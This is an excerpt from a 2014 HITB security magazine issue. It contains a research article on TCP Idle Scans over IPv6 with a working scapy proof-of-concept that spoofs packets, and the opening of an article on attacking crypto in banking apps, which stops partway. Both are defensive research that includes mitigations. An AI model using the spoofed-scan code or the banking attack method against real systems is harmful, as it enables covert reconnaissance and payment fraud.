svforth - HITB Magazine

svforth - HITB Magazine
Volume 4, Issue 10, Jan. 2014 www.hackinthebox.org
Cover Story
SVFORTH
A Forth for Security
Analysis and Visualization 164
Volume 04, Issue 10, Jan. 2014
Contents
Editorial
Hello readers – We know it’s been quite a while since we’ve put out an issue
but due various factors from a lack of submissions during the call for articles to
the editorial team being too busy to review materials when they did come in,
we had to postpone the release till now. But as they say, better late than never!
Since the last issue, we’ve also changed the HITB Security Conference Call
for Papers submission guidelines to now require speakers to submit a research
‘white paper’ to accompany their talk. The first round of papers came to us via
#HITB2013KUL in October and thankfully we now have loads of AWESOME
CONTENT! We’ve got so much good stuff we could have probably put
together two issues even!
With the new change to the CFP submissions, we’ve decided to also
change our publication schedule for 2014 to a ‘per HITB SecConf’ release cycle.
This means you can expect a new magazine approximately every 6 months
which we’ll release alongside a HITB Security event.
What else do we have planned for 2014? Well next year also marks the 5th
year anniversary of the HITB Security Conference in Amsterdam and we’re
celebrating it in traditional HITB fashion – by adding something special to our
line up – our first ever HITB hacker expo! A 3-day IT security and technology
exhibition unlike anything that’s been done before. Think RSA or Mobile World
Congress meets Makerfaire with a generous touch of HITBSecConf thrown in
for good measure. What exactly does that mean? Imagine an area dedicated
to hackerspaces; makers with 3D printers, laser cutters and other fabrication
goodies coupled with TOOOL‘s Lock Picking Village, HITB and Mozilla’s
HackWEEKDAY developer hackathon, our Capture the Flag ‘live hacking’
competition and more all wrapped around a 3-day exhibition with Microsoft
and Google as the main anchors. The cost to attend? ABSOLUTELY NOTHING!
Yup, entrance to HITB Haxpo will be F-R-E-E! Head over to http://haxpo.nl for
further details and to register (we’ve got a new registration system too!)
On behalf of The HITB Editorial Team, I hope you enjoy this special end of
year issue we’ve put together and we wish you all a very Happy New Year, and
have a great time ahead!
The Editorial Team
Hack in The Box Magazine
Editor-in-Chief
Zarul Shahrin
http://twitter.com/zarulshahrin
Editorial Advisor
Dhillon Andrew Kannabhiran
Technical Advisor
Mateusz “j00ru” Jurczyk
Gynvael Coldwind
Design
Shamik Kundu
http://twitter.com/cognitivedzine
Website
Bina Kundu
HITB Magazine – Keeping Knowledge Free
http://magazine.hackinthebox.org
network Security
TCP Idle Scans in IPv6 04
You Can Be Anything You Want To Be:
Bypassing “Certified” Crypto in
Banking Apps 16
Practical Attacks Against Encrypted
VoIP Communications 30
database Security
Attacking MongoDB: Attack Scenarios
Against a NoSQL Database 42
application Security
Random Numbers. Take Two: New
Techniques to Attack Pseudorandom
Number Generators in PHP 54
Hunting for OS X Rootkits in Memory 62
Revealing Embedded Fingerprints:
Deriving Intelligence from USB Stack
Interactions 78
Diving Into IE 10’s Enhanced Protected
Mode Sandbox 98
Exploiting XML Digital Signature
Implementations 124
Defeating Signed BIOS Enforcement 148
Computer Forensics
Dynamic Tamper-Evidence for Physical
Layer Protection 156
SVFORTH: A Forth for Security Analysis
and Visualization 164
Computer Security
Under the Hood: How Actaeon Unveils Your
Hypervisor 176
Mobile Security
Introduction to Advanced Security Analysis
of iOS Applications with iNalyzer 186
Network Security
TCP Idle Scans
in IPv6
Mathias Morbitzer, [email protected]
The most stealthy port scan technique in IPv4 is the TCP Idle Scan, which hides the
identity of the attacker. With this technique, the attacker spoofs messages of a third
computer, the so-called idle host, and utilizes the identification value in the IPv4
header to see the results of the scan.
With the slowly approaching upgrade of IPv4 with IPv6, one will not be able anymore
to conduct the TCP Idle Scan as previously, as the iden-tification value is not statically
included in the IPv6 header. This article shows that the TCP Idle Scan is also possible
in IPv6, albeit in a different way, namely by using the identification value in the IPv6
extension header for fragmentation.
It is described how the idle host can be forced to use the IPv6 extension header for
fragmentation, which contains an identification value, by using ICMPv6 Echo Request
messages with large amounts of data as well as ICMPv6 Packet Too Big messages
specifying a Maximum Transmission Unit (MTU) smaller than the IPv6 minimum MTU.
The attack in IPv6 is trickier than in IPv4, but has the advantage that we only require
the idle host not to create fragmented traffic, whereas in IPv4 the idle host is not
allowed to create traffic at all.
1. INTRODUCTION
When trying to attack a target, one of the first steps performed by an attacker will
be to execute a port scan in order to discover which services are offered by the
system and can be attacked. In the traditional approach for port scanning, SYNs1 are
sent directly to various ports on the target to evaluate which services are running,
and which are not.
1 A TCP segment with the SYN-flag
04 HITB | Issue 10 | january 2014
At first sight, IPv6 seems immune to the idle scan technique, as the IPv6 header
no longer contains the identification field. However, some IPv6 traffic still uses an
identification field, namely if fragmentation is used. Studying the details of IPv6
reveals that an attacker can force fragmentation between other hosts. The attack
on IPv6 is trickier than on IPv4 but has the benefit that more machines will be suited
as idle hosts. This is because we only require the idle host not to create fragmented
IPv6 traffic, whereas in IPv4 the idle host is not allowed to create traffic at all.
This article describes how the TCP Idle Scan can be transferred to IPv6. Using the basic
technique of the TCP Idle Scan in IPv4, Section 3 shows which adjustments need to be
made within this transfer. This is followed by an overview given in Section 4 on which
operating systems fulfill all the requirements to be used as idle host. Afterwards, Section
5 discusses how the scan can be prevented on the short term by system administrators,
and on the long term by manufacturers of devices and operating systems. Section 6
concludes, and a proof of concept is presented in the appendix.
2. Background
The TCP Idle Scan is a stealthy port scanning method, which allows an attacker to
scan a target without the need of sending a single IP-Packet containing his own IP
address to the target. Instead, he uses the IP address of a third host, the idle host,
for the scan. To be able to retrieve the results from the idle host, the attacker
utilizes the identification field in the IPv4 header (IPID)2, which is originally intended
for fragmentation.
While the idea of this technique was first introduced by Salvatore Sanfilippo in 1998
[14], the first tool for executing the scan was created by Filipe Almeida in 1999[1].
Figure 1 shows the TCP Idle Scan in IPv4 in a schematic representation. The technique
is described by Lyons [8] as follows:
1. To scan a port on the target, the attacker first sends a SYN/ACK3 to the idle host.
2. As the host is not expecting the SYN/ACK, it will answer with a RST4, which will
also contain its IPID.
3. Afterwards, the attacker sends a SYN to the target host, addressed to the port
he wants to scan, and sets as source IP-address the spoofed IP-address of the
idle host. Due to this spoofed address, the target will answer to the idle host,
not to the attacker.
2 The identification field in the IPv4 header is usually referred to as IPID, while the identification field in
the IPv6 extension header for fragmentation has no specific denotation
3 A TCP segment with the SYN- and ACK-flag
4 A TCP segment with the RST-flag
Network Security
After discovering how to conduct the TCP Idle Scan in IPv6, 21 dif-ferent operating
systems and versions have been analyzed regarding their properties as idle host.
Among those, all nine tested Windows systems could be used as idle host. This shows
that the mistake of IPv4 to use predictable identification fields is being repeated
in IPv6. Compared to IPv4, the idle host in IPv6 is also not expected to remain idle,
but only not to send fragmented packets. To defend against this bigger threat, the
article also introduces short-term defenses for administrators as well as long term
defenses for vendors.
However, this method is easy to detect and to be traced back to the attacker. To
remain undetected, different methods for port scanning exist, all providing various
advantages and disadvantages [8]. One of those methods is the TCP Idle Scan. With
this port scanning technique, the attacker uses the help of a third-party system, the
so-called idle host, to cover his tracks. Most modern operating systems have been
improved so that they cannot be used as idle host, but research has shown that the
scan can still be executed by utilizing network printers [11].
january 2014 | Issue 10 | HITB 05
Network Security
FIGURE 1: TCP Idle Scan in IPv4
source node sets the Path MTU (PMTU) to the MTU specified in the PTB message. This
whole process is designed to unburden nodes on the path, and makes the permanent
use of the IPID field for reassembling received fragments unnecessary.
For this reason, the IPID field has been removed in the IPv6 header. If the sending
host needs to fragment a packet, it uses the extension header for fragmentation
[5]. Such an extension header is placed after the IPv6 header and followed by the
upper-layer header. Figure 3 shows the IPv6 extension header for fragmentation,
also known as fragmentation header.
FIGURE 3: IPv6 extension header for fragmentation (based on RFC 2460 [5])
3. Applying the TCP Idle Scan in IPv6
3.1 Differences between IPv4 and IPv6
Figure 2 shows the IPv6 header. Compared to the IPv4 header, all fields apart from the
version, source and destination field are different. Also, the source and destination
fields increased in size in order to be able to store IPv6 addresses.
One of the fields that has been removed is the IPID field, which is crucial for the
TCP Idle Scan in IPv4. In IPv6, fragmentation is only performed by end nodes [5].
If a node on the path receives a packet which is too big, an ICMPv6 Packet Too Big
(PTB) message [3] is sent back to the source address, notifying it about the Maximum
Transfer Unit (MTU) of the node on the path. This PTB message piggybacks as much
as possible of the originally received packet, which caused the PTB message to be
sent, without exceeding the minimum IPv6 MTU. After receiving such a message, the
06 HITB | Issue 10 | january 2014
The field which is relevant for the TCP Idle Scan in IPv6 is the 32 bit long identification
field, which serves the same purpose as in IPv4, identifying which fragments belong
together. Different to IPv4, the identification field is not used for every IPv6 packet
sent, but only for those which require the fragmentation header.
As in IPv4, the method of assigning the identification value is a choice of implementation.
If the value is assigned on a per-host-basis, the TCP Idle Scan is impossible by using the
host as idle host. The attacker would not be able to detect if a RST has been sent from
the idle host to the target by analyzing the identification value.
Network Security
4. If the port is closed, the target will send a RST to the idle host (4a). If the
scanned port is open, the target will send a SYN/ACK (4b) to continue the TCP
three-way handshake.
5. In case of receiving a RST, the idle host will not execute further actions. But if
a SYN/ACK is received, it will answer by sending a RST, as the SYN/ACK was not
expected. For this answer, the host will use its next available IPID.
6. To get the result of the scan, the attacker sends now again a SYN/ACK to the
idle host.
7. The idle host answers with a RST and an IPID. In case the port is closed, the
received IPID will have increased once compared to the previously received
IPID, while for an open port, it will have increased twice.
FIGURE 2: IPv6 header (based on [5])
january 2014 | Issue 10 | HITB 07
Network Security
3.2 Forcing fragmentation
FIGURE 4: TCP Idle Scan in IPv6
To be able to execute the TCP Idle Scan in IPv6, the idle host must append the
fragmentation header to outgoing packets. This behavior needs to be achieved
in steps 2 and 7, in order for the attacker to be able to compare the received
identification values. Enforcing the fragmentation header in those steps is feasible
for the attacker, as he is directly participating in the conversation. One approach in
this case is an ICMPv6 Echo Request with a lot of data, which is fragmented, and will
also be returned in fragments.
More difficult is forcing the fragmentation in step 5, in which the idle host sends a
RST to the target in case a SYN/ACK is received. The solution to this problem can be
found in RFC 1981, "Path MTU Discovery for IP version 6". As mentioned, the PMTU of
a host can be manipulated by sending PTB messages as a reply to a received message.
The details about the MTU field in the PTB message are explained as follows:
When a node receives a Packet Too Big message, it MUST reduce its estimate
of the PMTU for the relevant path, based on the value of the MTU field in the
message. [9, Page 3]
A node MUST NOT reduce its estimate of the Path MTU below the IPv6 minimum
link MTU. Note: A node may receive a Packet Too Big message reporting a
next-hop MTU that is less than the IPv6 minimum link MTU. In that case,
the node is not required to reduce the size of subsequent packets sent on
the path to less than the IPv6 minimum link MTU, but rather must include a
Fragment header in those packets [9, Page 4].
Therefore, receiving a PTB message with a MTU smaller than the IPv6 minimum MTU
of 1280 bytes causes a host to append a fragmentation header to all its IPv6 packages
to a certain host. This behavior is referred to in RFC 6946 as "atomic fragments" [7].
Although these fragmentation headers are empty, they contain the identification
field, which is the only field relevant for the attacker.
3.3 The TCP Idle Scan in IPv6
With the gained knowledge, it is now possible to update the TCP Idle Scan in IPv4 so
that it can be used in IPv6. Figure 4 gives an overview over the attack.
1. First, the attacker sends a spoofed ICMPv6 Echo Request to the idle host, with
the source address of the target. This Echo Request contains a big amount of
data and will therefore be fragmented.
2. Due to the spoofed source address, the idle host will answer with an ICMPv6
Echo Response directed to the target.
3. Now the attacker spoofs a PTB message with a MTU smaller than the IPv6
minimum MTU and the source address of the target and sends it to the idle
host. This causes the idle host to use atomic fragments for all IPv6 packets sent
08 HITB | Issue 10 | january 2014
Network Security
Some operating systems only accept PTB messages with precedent packets, in which
exactly those packets are piggybacked by the PTB message. One possible solution in
this scenario is to send an ICMPv6 Echo Request with the source address of the target
to the idle host. After the idle host answered to the target, the attacker can spoof a
PTB message from the target to the idle host, informing it about the target's new MTU.
to the target by appending a fragmentation header even if there is no need to
fragment the packet.
4. In the next step, the attacker sends a spoofed ICMPv6 Echo Request from his
real source address to the idle host. Like before, this Echo Request contains a
big amount of data and will therefore be fragmented.
5. Due to the size of the ICMPv6 Echo Request, the fragmentation header is also
used in the ICMPv6 Echo Response, which allows the attacker to determine the
idle host's currently used identification value.
6. Additionally, the attacker now sends a PTB message to the idle host from his
real source address, specifying an MTU smaller than 1280 bytes. Theidle host
will now also append a fragmentation header to every IPv6 packet sent to the
attacker. From this point onwards, the scan can be executed identically to IPv4
due to the idle host appending the extension header for fragmentation to all
relevant IPv6 packets.
7. Now, the attacker sends a SYN to the target, addressed to the port he wants to
scan, and uses as source address the address of the idle host.
8. If the port on the target is closed, an RST will be sent to the idle host (8a). If the
scanned port on the target is open, the host will send a SYN/ACK (8b).
9. In case of receiving a RST, the idle host will not execute further actions. But
if a SYN/ACK is received, it will answer by sending a RST (9). As the idle host
creates atomic fragments for all packets being sent to the target, it will append
an empty fragmentation header and use its next available identification value.
10. In order to request the result of the scan, the attacker sends a SYN/ACK to the
idle host.
january 2014 | Issue 10 | HITB 09
Network Security
11. The received RST will now be analyzed by the attacker regarding its
identification value in the fragmentation header. If it incremented once
compared to the identification stored in step 5, it can be reasoned that the
idle host did not send a RST, therefore the scanned port on the target is closed
(10a). If the identification incremented twice, the idle host had to send a RST,
and therefore the port on the target is open (10b).
3.4 Requirements for the idle host
The requirements for the idle host in the TCP Idle Scan in IPv6 are similar to the ones
in IPv4. Like in IPv4, the most important requirement is the predictable assignment
of the identification value on a global, and not on a per-host basis, to allow the
attacker to recognize if a RST was sent to the target.
What changes is the second requirement, which requires the idle host to be idle.
The identification value in IPv6 is not used for every packet, but only for those which
append a fragmentation header. Therefore, it is sufficient that the idle host does not
produce traffic requiring the fragmentation header.
Compared to IPv4, the requirements for the idle host regarding idleness are less
limiting in IPv6. In IPv4, the idle host was not allowed to create traffic at all due to
the identification value being a static part of the IPv4 header. In IPv6, the limitations
are on communication using the fragmentation header. While executing the TCP
Idle Scan in IPv6, an idle host communicating with a fourth party via IPv6 would not
disturb the scanning process, as long as the IPv6 packets being sent from the idle
host to the fourth party do not use the fragmentation header.
4. Conducting the TCP Idle Scan in IPv6
4.1 Behavior of various systems
As stated previously, for executing the TCP Idle Scan in IPv6 it is a necessity that the
identification value is assigned by the idle host on a predictable and global basis.
To determine which operating systems form appropriate idle hosts 21 different
operating systems and versions have been tested to establish their method of
assigning the identification value.
Among all the tested systems, six assigned the identification value on a random basis
and can therefore not be used as idle host. Out of the remaining 15, five assigned their
values on a per host basis which makes also those systems unusable. Another system
which can not be used as idle host is OS X 10.6.7, which does not accept PTB messages
with a MTU smaller than 1280 bytes. The nine systems which are left, and can be used
as idle hosts for the TCP Idle Scan in IPv6, are all Windows operating systems.
10 HITB | Issue 10 | january 2014
System Android 4.1 (Linux 3.0.15) FreeBSD 7.4 FreeBSD 9.1 iOS 6.1.2 Linux 2.6.32 Linux 3.2 Linux 3.8 OpenBSD 4.6 OpenBSD 5.2 OS X 10.6.7 OS X 10.8.3 Solaris 11 Windows Server 2003 R2 64bit, SP2 Windows Server 2008 32bit, SP1 Windows Server 2008 R2 64bit, SP1 Windows Server 2012 64bit Windows XP Professional 32bit, SP3 Windows Vista Business 64bit, SP1 Windows 7 Home Premium 32bit, SP1 Windows 7 Ultimate 32bit, SP1 Windows 8 Enterprise 32 bit Assignment method Per host, incremental (1) Random
Random
Random Per host, incremental (2)
Per host, incremental (1)
Per host, incremental Random Random Global, incremental (3)
Random
Per host, incremental
Global, incremental
Global, incremental
Global, incremental by 2
Global, incremental by 2 (4)
Global, incremental (5)
Global, incremental Global, incremental by 2 Global, incremental by 2 Global, incremental by 2 (4)
usable
X
X
X
X
X
X
X
X
X
X
X
X
√
√
√
√
√
√
√
√
√
(1) Host calculates wrong TCP checksum for routes with PMTU < 1280
(2) No packets are sent on route with PMTU < 1280
(3) Does not accept Packet Too Big messages with MTU < 1280
(4) Per host offset
(5) IPv6 disabled by default
A special behavior occurred when testing Windows 8 and Windows Server 2012. A
first analysis of the identification values sent to different hosts gives the impression
that the values are assigned on a per-host-basis and start at a random initialization
value. A closer investigation though revealed that the values being assigned for one
system are also incremented if messages are sent to another system. This leads to
the conclusion that those operating systems use a global counter, but also a random
offset for each host, which is added to the counter to create the identification value.
However, the global counter is increased each time a message is sent to a host. For
the TCP Idle Scan in IPv6, this means that the systems are still suitable as idle hosts,
as from the view of the attacker, the identification value received from the idle host
increases each time the idle host sends a message to the target. Being still usable as
idle host, it is a complete mystery to us what should be achieved with this behavior.
5. Defense mechanisms
System administrators can apply the following short term defense mechanisms:
● The TCP Idle Scan in IPv6 requires an attacker to be able to spoof the source
addresses of some packets. Mechanisms against IP address spoofing are
therefore an early defense mechanism. To prevent IP spoofing within a network,
administrators can use techniques such as Reverse Path Forwarding. This
technique checks for the source address of each received packet if the interface
on which the packet was received equals the interface which would be used
Network Security
This section deals with the characteristics of the TCP Idle Scan in IPv6. Compared to
IPv4, where most modern operating systems use protection mechanisms against the
scan, it is novel to conduct the scan in IPv6. Therefore, not all operating systems use
the same protection mechanisms as in IPv4. To give an overview of the behavior from
various operating systems, tests have been conducted with 21 different systems, and
the results are shown and discussed.
TABLE 1: List of tested systems
january 2014 | Issue 10 | HITB 11
Network Security
for forwarding a packet to this address [2]. Outside of internal networks, an
approach to prevent IP source address spoofing is networking ingress filtering,
which should be done by the Internet Service Provider [6].
● Another defense is related to accepting SYN/ACKs without precedent traffic. In
the TCP Idle Scan in IPv6, the idle host is expected to reply to such TCP segments
with a RST, as those messages were unexpected. If the idle host would drop SYN/
ACKs without precedent traffic instead of answering with a RST, an attacker
would not be able to conclude if the idle host received a RST or a SYN/ACK from
the target. To anticipate such a behavior, stateful inspection firewalls can be
used [15]. All of the nine tested Windows systems provide a host-based firewall,
which is enabled by default [4]. Those firewalls block ICMPv6 Echo Requests as
well as SYN/ACKs without a prior ACK. Therefore, the TCP Idle Scan in IPv6 is
impossible by using one of the tested Windows operating systems as long as the
firewall is active.
The most effective defense against the TCP Idle Scan in IPv6 is a random assignment
of the identification value in the fragmentation header. Using this method, an
attacker will not be able to predict the upcoming values of the identification values
assigned by the idle host. Being unable to predict those values, it is impossible for
the attacker to determine if the idle host sent a RST to the target, like this is done in
step 9 of Figure 4. However, this is a long-term defense, where the responsibility of
implementation relies on the vendor.
6. Conclusion
What remains is the question why it is still a common practice to utilize predictable
identification values. The danger of predictable sequence numbers has already
been disclosed by Morris [13] in 1985. Although his article covered TCP, the
vulnerabilities were caused by the same problem: a predictable assignment of the
sequence number. For this reason, he advised to use random sequence numbers.
With the TCP Idle Scan in IPv4 being first discovered in 1998, it has been shown
that the necessity of unpredictable identification values also applies to IPv4. This
article has shown that also in IPv6, predictable identification values facilitate
attacks and should be substituted with random values.
To prove that the TCP Idle Scan in IPv6 works in practice, a proof of concept has
been created using the python program scapy5, which allows easycreation and
5 http://www.secdev.org/projects/scapy/
12 HITB | Issue 10 | january 2014
Until vendors are able to provide patches for assigning unpredictable identification
values in the fragmentation header, administrators are advised to implement
the short-term protection mechanisms described in Section 5. Additionally, one
might consider an update of RFC 1981, which forces a host to append an empty
fragmentation header to every IPv6 packet after receiving an ICMPv6 Packet Too Big
message with an MTU smaller than the IPv6 minimum MTU. Likewise, updating RFC
2460 towards an obligatory random assignment of the identification value in the
fragmentation header should be considered as well.
For more details on the TCP Idle Scan in IPv6, we refer to [12].
Appendix
As a proof of concept, the TCP Idle Scan in IPv6 has been implemented using the
python program scapy. The source code is shown in Listing 1.
Listing 1: The TCP Idle Scan in IPv6 using scapy
1 #!/usr/bin/python
2 from scapy.all import *
3
4 #the addresses of the three participants
5 idlehost="<IPv6-address>"
6 attacker="<IPv6-address>"
7 target="<IPv6-address>"
8 # MTU which will be announced in the PTB message
9 newmtu=1278
10 # Checksum which the PTB message will have
11 checksum=0x0da6
12 # the port which is to scan
13 port=22
14 # configure scapy's routes and interfaces
15 conf.iface6="eth0"
16 conf.route6.ifadd("eth0","::/0")
17
18 # create and send a fragmented ping from the target to the idle host
19 ping_target=fragment6(IPv6(dst=idlehost,src=target)\
20 /IPv6ExtHdrFragment()/ICMPv6EchoRequest(id=123,data="A"*1800),1400)
21 send(ping_target[0]); send(ping_target[1])
22
23 # we do not get the response, so we have to make our own one
24 response=IPv6(plen=1248,nh=0x3a,hlim=64,src=idlehost,dst=target)\
25 /ICMPv6EchoReply(id=123,cksum=checksum,data="A"*1800)
26 # take the IPv6 layer of the response
27 ipv6response=response[IPv6]
28 # reduce the amount of data being sent in the reply
29 # (a PTB message will only have a maximum of 1280 bytes)
30 ipv6response[IPv6][ICMPv6EchoReply].data="A"*(newmtu-69)
31
32 # give the target enough time to answer
33 time.sleep(1)
34
6 http://www.nmap.org
Network Security
This paper has shown that by clever use of some IPv6 features, the TCP Idle Scan
can successfully be transferred from IPv4 to IPv6. Therefore, this type of port
scan remains a powerful tool in the hands of an attacker who wants to cover
his tracks, and a challenge for anybody who tries to trace back the scan to its
origin. The fact that major operating systems assign the identification value in
the fragmentation header in a predictable way also drastically increases the
chances for an attacker to find a suitable idle host for executing the TCP Idle
Scan in IPv6. Because the idle host is also not required to be completely idle,
but only expected not to create IPv6 traffic using the fragmentation header, this
chances are increased additionally.
manipulation of packets. The proof of concept can be found in the appendix.
Furthermore, the security scanner Nmap6, which already provided a very elaborated
version of the TCP Idle Scan in IPv4, has been extended in order to also handle the
TCP Idle Scan in IPv6 [10].
january 2014 | Issue 10 | HITB 13
Network Security
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# tell the idle host that his reply was too big, the MTU is smaller
mtu_idlehost_to_target=IPv6(dst=idlehost,src=target)\
/ICMPv6PacketTooBig(mtu=newmtu)/ipv6response
# send the PTB message
send(mtu_idlehost_to_target)
# create a huge, fragmented ping to the idle host
fragments=fragment6(IPv6(dst=idlehost,src=attacker,nh=0x2c)\
/IPv6ExtHdrFragment()/ICMPv6EchoRequest(data="A"*1800),1400)
# send the huge ping
send(fragments[0]); send(fragments[1])
# send a spoofed SYN to the target in the name of the idle host
syn=IPv6(dst=target,src=idlehost)\
/TCP(dport=port,sport=RandNum(1,8000), flags="S")
send(syn)
# give the idlehost some time to send a RST
time.sleep(1)
# send the huge ping again
send(fragments[0]); send(fragments[1])
By observing the network traffic with a network traffic analyzer such as Wireshark7,
one can analyze the identification values of the fragmentation header received in
the ICMPv6 Echo Responses from the idle host. This allows to conclude if the scanned
port on the target is open or closed.
In addition to the proof of concept, a patch for the security scanner Nmap was
created, which enables Nmap to execute the TCP Idle Scan in IPv6 and provides a
more sophisticated scanning environment than the proof of concept [10]. ¶
14 HITB | Issue 10 | january 2014
1. Filipe Almeida. idlescan (ip.id portscanner). http://seclists.org/bugtraq/1999/Dec/58, 1999.
[Online; Request on July, 7th of 2013].
2. Cisco Systems, Inc. Understanding Unicast Reverse Path Forwarding. http://www.cisco.com/
web/about/security/intelligence/unicast-rpf.html, 2013. [Online; Request on July, 9th of 2013].
3. Alex Conta, Stephen Deering, and Mukesh Gupta. Internet Control Message Protocol (ICMPv6)
for the Internet Protocol Version 6 (IPv6) Specification. RFC 4443 (Draft Standard), March
2006. Updated by RFC 4884.
4. J oseph G. Davies. Understanding IPv6. Microsoft Press, Redmond, WA, USA, third edition, 2012.
5. Stephen Deering and Robert Hinden. Internet Protocol, Version 6 (IPv6) Specification. RFC
2460 (Draft Standard), December 1998.
6. Paul Ferguson and Daniel Senie. Network Ingress Filtering: Defeating Denial of Service Attacks
which employ IP Source Address Spoofing. RFC 2267 (Draft Standard), January 1998.
7. Fernando Gont. Processing of IPv6 "Atomic" Fragments. RFC 6946 (Draft Standard), May 2013.
8. Gordon Lyon. Nmap Reference Guide. http://nmap.org/book/man.html, 2012. [Online; Request
on July, 7th of 2013].
9. Jack McCann, Stephen Deering, and Jeffrey Mogul. Path MTU Discovery for IP version 6. RFC
1981 (Draft Standard), August 1996.
10. Mathias Morbitzer. Nmap Development: [PATCH] TCP Idle Scan in IPv6. http://seclists.org/
nmap-dev/2013/q2/394, 2013. [Online; Request on June, 17th of 2013].
11. Mathias Morbitzer. TCP Idle Scanning using network printers. http:// www.
researchgate.net/publication/239660144_TCP_Idle_Scanning_using_network_printers/
file/3deec51c1c17e29b78.pdf, 2013. Research Paper, Radboud University of Nijmegen.
[Online; Request on July, 7th of 2013].
12. Mathias Morbitzer. TCP Idle Scans in IPv6. Masterthesis, Radboud University Nijmegen,
Netherlands, August 2013 (to appear).
13. Robert T. Morris. A Weakness in the 4.2BSD Unix TCP/IP Software,1985.
14. Salvatore Sanfilippo. New TCP scan method. http://seclists.org/bugtraq/1998/Dec/79, 1998.
[Online; Request on July, 8th of 2013].
15. William Stallings. Network Security Essentials - Applications and Standards (4. ed., internat.
ed.). Pearson Education, 2010.
Network Security
7 http://www.wireshark.org
References
january 2014 | Issue 10 | HITB 15
Network Security
You Can Be Anything You
Want To Be
Bypassing “Certified” Crypto in Banking Apps
George Noseevich, Lomonosov Moscow State University
Andrew Petukhov, SolidLab
Dennis Gamayunov, Lomonosov Moscow State University
I
t’s no surprise that typical hacker’s professional path hits against custom crypto
protocols from time to time. There’re lots of application-specific cryptohardened protocols written from scratch which could be found in banking,
SCADA, and other types of not-so-common hardware and software systems. Here
we propose a methodology for cracking such systems using top-down approach with
GOST-hardened banking application as an example. We show how easy it is sometimes
to break complex crypto because of developers having broken or inconsistent
knowledge of modern application level protocols.
Introduction
In this paper we are dealing with modern remote banking systems (RBS) which
operate over ordinary Internet connections, and typically use HTTP as a transport
protocol (see. Figure 1).
Where would you expect to meet tough
formal security models and crypto?
Military applications, of course. But
financial institutions also have something
interesting to hide and to care about:
the money! Historically, banks were
among the first adopters of commercial
encryption and digital signing, crypto
protocols and hardware. Developers of
16 HITB | Issue 10 | january 2014
Figure 1: A remote banking system overview
In this paper we propose an approach for finding exploitable design flaws in financial
applications with a case study of a B2B online banking system, developed by one of
large European financial institutions to comply with Russian local regulations.
Federal Law in Russia states that an electronic document becomes legally valid only
after proper digital signing [1]. Online banking applications are no exсeption: only
GOST digitally signed payment orders should be accepted and processed by online
banking apps. Moreover, there is (formally, not obligatory) a set of recommendations
authored by Central Bank of Russian Federation for financial institutions, and it
states among other things that only those crypto solutions which are certified by the
Federal Security Service (FSB) are allowed to use in B2B applications.
That said, every bank that is willing to provide online services (be it domestic or
international entity) has to consider two options:
• buy a “typical” online banking solution from a well-known vendor (BSS, Bifit)
and customize it;
• develop or outsource its own banking solution.
The first option implies that the bank will receive all the necessary shiny crypto out of the
box. The second option leaves the crypto- question for the bank to handle. This is where
numerous crypto solutions and crypto providers (needless to say, certified) come into play.
To conclude the Intro let’s just say that there are lots of online banking applications
in Russia implementing the architecture outlined below (see Figures 2 and 3):
Figure 2: Additional requirements - transport security and use of certified crypto
Network Security
As we all know from the software development theory and practice, there are three
major types of security flaws: design, implementation and configuration flaws. The
latter ones are the easiest to fix, and the first ones are the hardest. Design flaws are
not only the most difficult to fix from the developer’s point of view, but also the most
interesting to seek for an attacker because in this case the vulnerability lifetime and
the number of affected installations give the maximum profit.
the remote banking systems (RBS) such as B2C online banking solutions or B2B systems
are usually natively familiar with cryptography and it’s applications, and know quite well
how to solve basic crypto tasks in the case of financial software, which in our case are:
ensure transport layer security, non-repudiation, and authentication; compliance with
regulations; protection of legacy systems. So, if these systems are developed carefully
by crypto-aware programmers, and they use public algorithms like AES for encryption,
RSA for digital signing and SHA256 for hashing, which have well known cryptographic
strength, they are very difficult to hack because you have to find weakness in RSA in order
to hack them, don’t you? Apparently, no you don’t. Even in military, avionics and other
safety-critical areas where formal verification and model checking are integrated into
software development lifecycle design and implementation flaws are discovered from
time to time. Financial software is less critical in terms of safety, and formal verification
is not so common even in development of new versions of RBS’ not to speak of legacy
systems which count twenty years in production or even more.
january 2014 | Issue 10 | HITB 17
Network Security
Figure 3: Ensuring non-repudiation and authenticity
Therefore the final objective of the RBS analysis will be to find differences in HTTP
handling at crypto server side and at application server side and to exploit these
differences to bypass authentication routines and/or signature validation.
Three basic steps for reversing an RBS architecture include:
• Reversing client side features.
• Careful investigation of the server side features.
• Fingerprinting integration protocol.
From our experience the juiciest part in such applications is the integration protocol.
Indeed, crypto-server has to communicate the results of signature checking to the
application server, which has to trust these results. The main idea of hacking such
scheme is to reverse the integration protocol and to force the crypto-server to send
the messages you need.
Ok, now show me the money!
Proposed approach
We could make a few generic statements and common sense considerations about
software development in online banking field, which help to focus on finding
design flaws:
Statement A: One does not simply implement application level crypto protocol
When a software developer tries to invent custom application specific protocol with
cryptographic primitives without taking basic steps like designing specification,
formal proof, use of secure development lifecycle, he is likely to fail.
Statement B: One does not simply implement HTTP client or server from scratch
Imagine we have both statements holding true at the same time – it means lots of
custom parsers built from scratch, which gives a very high probability of inconsistency
in design, implementation or integration.
In case of the RBS a typical attacker would have the following capabilities:
• Log into the system as some valid user (he can always become a valid client of
an attacked bank).
• Access the client side software (and hardware), i.e. reverse any custom thick
client, hardware keys, communication protocol, etc.
To successfully attack the RBS he needs to get access to accounts of other clients and
eventually file valid authenticated payment requests to the application server on
behalf of other users.
18 HITB | Issue 10 | january 2014
Reversing crypto protocol on the client side is no rocket science – just use your
favorite debugger to hook functions used for networking and signing. This is where
answers to the following questions should be given:
1. Which HTTP client and what HTTP parser are used on client-side (i.e. windows
API or Java HttpClient)?
2. Which parts of GET request are getting signed? E.g. the whole request or just
URL, and which requests are signed – POST? GET? HEAD? TRACE?
3. Which parts of POST request are getting signed? E.g. only body, or the whole
request, or body and URL, etc.
4. What additional information is submitted along with the request? How the
signature is stored? How the key ID is passed to the server? For example, it could
be custom-headers (like X-Client-Key-Id) holding those values.
After this we may proceed to reversing of the crypto server features. There are several
win-win checks that you might want to do: fingerprint HTTP parser, fingerprint HTTP
server and fingerprint integration protocol.
Fingerprinting HTTP parser
Here are basic checks against crypto-server (the details of implementing each check
are omitted due to size constraints):
• Does crypto server perform HTTP parsing [and normalization]? The answer would
be generally “yes”.
•
How does crypto server HTTP-parser handle duplicate GET and/or POST
parameter names? Which value it will give precedence: the first or the last?
What about the same parameter name in POST URL and in body?
• How does crypto server parser handle duplicate headers? Which value it will give
precedence: the first or the last?
•
W hich characters could be used to terminate headers (CRLF or CR or
something else)?
Network Security
